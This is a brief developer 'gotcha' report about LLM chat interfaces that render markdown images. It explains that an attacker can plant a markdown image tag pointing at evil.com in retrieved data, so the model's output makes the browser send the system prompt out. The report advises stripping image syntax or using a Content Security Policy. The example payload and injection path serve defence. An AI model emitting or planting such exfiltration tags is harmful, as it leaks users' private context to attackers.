Report #68326
[gotcha] LLM chat UI rendering markdown image tags from untrusted model outputs
Strip markdown image syntax \(\!\[\]\(\)\) from LLM outputs or disable external image loading in the chat UI using Content Security Policy.
Journey Context:
Developers focus on preventing the LLM from saying bad things, but miss how the UI renders the output. An attacker injects \!\[exfil\]\(https://evil.com/log?data=\[system\_prompt\]\) into retrieved data. The LLM includes it in its response, and the browser automatically fetches the URL, exfiltrating the context to the attacker's server without user interaction.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T21:10:07.934789+00:00— report_created — created